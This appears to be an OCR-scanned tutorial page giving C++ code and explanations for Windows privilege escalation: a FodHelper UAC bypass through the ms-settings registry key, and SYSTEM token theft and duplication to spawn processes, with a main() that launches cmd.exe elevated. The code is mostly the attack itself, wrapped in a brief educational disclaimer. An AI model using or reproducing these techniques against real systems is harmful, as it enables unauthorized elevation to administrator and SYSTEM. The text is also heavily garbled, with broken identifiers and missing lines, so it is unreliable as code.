Escalate Privileges via FodHelper.exe

Privilege Escalation Class

Co+ Code

std;

PrivEscalationclass{

PrivEscalationclass()(};

bool runProcAsAdninFronUser (string prochame){
H

WORD d;
char* settings = "Software\\Classes\\ns-settings\\Shel1\\Open\\command";
char* del = *";

bool success =

LSTATUS stat /_CURRENT_USER, (LP ings, @, NULL, 0, KEY_WRITE, NULL, &amp;hkey, &amp;d);
(stat 1= ERoR. Succsey?
cout 81t;81t; "Failed to open or create reg key\n';
success;

stat = RegSetValuetx(hkey, ", 8, REG_SZ, (unsigned char*)prochame.c_str(), strlen(procName.c_str()));
(stat |= ERROR_SUCCESS){
cout &1t;81t; "Failed to set reg value\n”

stat = RegSetValuetx(hkey, "DelegateExecute’, @, REG_SZ, (unsigned char*)del, strlen(del));
(stat |= ERROR_SUCCESS){
cout 81t;81t; "Failed to set reg value: DelegateExecute\n
cess;

RegClosekey(hkey) ;
SHELLEXECUTETNFO set (sei)
r Windous\\System32\\fodhelper.exe";

N
iy

(Ishel1executebx(anp;ced)) ¢
r = GetLastérror();
PranEF(arr <o ERRORCANCELLED ? “The user refused to allow privilege elevation.\n" : "Unexpected error! Error code: Xld\n", err);

printf("Successfully created process

success;

boolrunProcAsSystenFromAdnin(string procName){
bool success =
string u
RAWDLE noro
PROCESSENTRY33 e32;
string
S userPrn(Ess
int
RrrocSnap < CreateToolhelp32Snapshot (TH32CS_SWAPPROCESS, ©)
pe32.dusize (PROCESSENTRY32)
cout 81t;81t; “Enter the path of the application you want to run as SYSTEM
cin 8gt;&gt; app;
LG D, R O
LPCUSTR LPCapp

(rocesssaNext (herocsnap, sampipe32)) {
32processI0;
= GetProcessUserNane(pid);

(usernane == " || usernane == “NT AUTHORITY/SYSTEH") {

HANDLE cToken = getToken(pid);
T L || cToken == @)
Clecets'T trasttrocess(crokens L7Capp);
(success){

b

}
CloseHandle(hProcsnap) ;

HANDLE getToken(DWORD pid) {

., pid);
(ph
CToken = (HANDLEJNULL;

BOOL res = OpenProcessToken(ph, MAXIMUM_ALLOWED, 8amp;cToken);
(tres;
Token = (HANDLE)NULL;
{

(ph 1= NULL) {
CloseHandle(ph) ;
cToken;

}
BOOL createProcess(HANDLE token, LPCUSTR app) {

HANDLE dToken = NULL;
STARTUPINFOW si;

PROCESS_INFOMATION pi;

BOOL res

zemmemary(hmm:, (STARTUPINFOW));
Zerollenory(8amp;pi (PROCESS_INFORMATION)) ;
T TNrON,

DuplicateTokenEx(token, MAXIMUM_ALLOWED, NULL, SecurityImpersonation, TokenPrimary, Samp;dToken);
CreateProcessithTokeni(dToken, LOGON_WITH_PROFILE, app, NULL, @, NULL, NULL, &amp;si, &amp;pi);

string GetProcessUserNane(DHORD pid:
HANDLE hProcess = Openpro(sss(PRO(ESS QUERY_INFORMATION, FALSE, pid);
(1hProcess) 5
HANDLE hToken = NULL;

., TOKEN_QUERY, ) (€

(
Closetandle (hprocess);

}

DHORD duwSize =

(‘sﬂoken!nfurmanof\(Moken TokenUser, NULL, ©, Samp;dusize);
(PTOKEN_USER)malloc(dusize);

char IpDomain[MAX_PATH],
DHORD dwDomainsize
U1 LookupaccountSIA(NILL, prokentser-8gt;User.S1d, Lptane, , 1pbomain,
e
CloseHandle (hToken) ;
CloseHandle(hProcess) ;

string username(Lp0onsin);
usernan
D = AT

e (pTokenUser) ;
CloseHandle(hToken) ;
Closetandle(hProcess) ;

This C++ co vith elevated privileges,

toan admin a

s as an administrator from a user account.
It manipulates the under the ms-settings\she11\0pen\conmand registry key.
The Shell€x onis then used to odhel th elevated privileges, effectively launching the process as an administrator.
2. runProcAsSystemFromAdmin(string procName).
This method attempts to run a process as the SYSTEM account from an admin account,
It enumerates running processes using CreateToolhelp32Snapshot and Process32Next to find a suitable process to impersonate.
The user is promped to enter the path of the application they want to run as SYSTEM.
It checks the username of each process, and if it ither empty or “NT AUTHORITY/SYSTEM," it proceeds to obtain the token of that process using getToken
1f a valid token is obtained, it cals createProcess to create a new process with the specified application and the impersonated token.
getToken(DWORD pid)
This method attempts to obtain the access token of a process with a given PID.
to open the target proces Token to retri
4 createProcess(HANDLE token, LPCWSTR app):
This method creates a new process with a specified a
It duplicates the provided token using buplicateTol nd then uses CreateProcesshithTokenh to s with the duplicated token
5. GetProcessUserName(DWORD pid)
This method retrieves the usermame associated with a process's token
It opens the process using OpenProcess and its token using OpenProcessToken
It then uses LookupAccountSid to get the username associated with the to

The code aims to demonstrate privilege escalation techniques and impersonation within a Windows environment. However, it's essential to emphasize that using these techniques improperly or without proper

authorization can lead to serious security and legal implications. This code should only be used for educational and ethical purposes, and any real-world use should strictly adhere to ethical and legal standards.

Privilege Escalation Execution

C++ Code

std;

int matn(){
privescalationclass privs;
bool success = privesc. runprocAsAdminFronUsen(”C:\\Windows \\Systen32\\cnd. exe);
(uccess){_
t << "Successfully ran process as admin\n’;

d to run process as adnin\n

Thi s as i s defined in a separate header file. The main purpose of this program is to demonstrate running a pror an administrator from a user

account using the Privi f what the code doe:

1. Include Header Files:
h

The code includes several header files, including <windows. h> for Windows API functions, <Sostream> for input and output operations, <thelp32. h> for process enumeration, and "PrivEscalationClass
toinclude the class definition for PrivEscalationClass.
2. Main Function:
The program's entr
3. Instantiate PrivEscalationClass:
It creates a of the PrivE:
4. Privilege Escalation Attempt.
It calls the runProcAsAdminFronUser method of the prive:
The method is given the path to fesire to run the Command Prompt as an administrator from a user ac
Success Check
It checks whether the privilege escalation attempt was successful by examining the return value of runProcAsAdminFromuser.
6. Print Results:
Depending on the or failure of the p a ram prints a cor

In summary, this code is a simple demanstration of using the PrivEscalationClass to run a proce: htforward way to test the privilege escalation code v
directly modifying the cious use can hav

and ethical consequences.




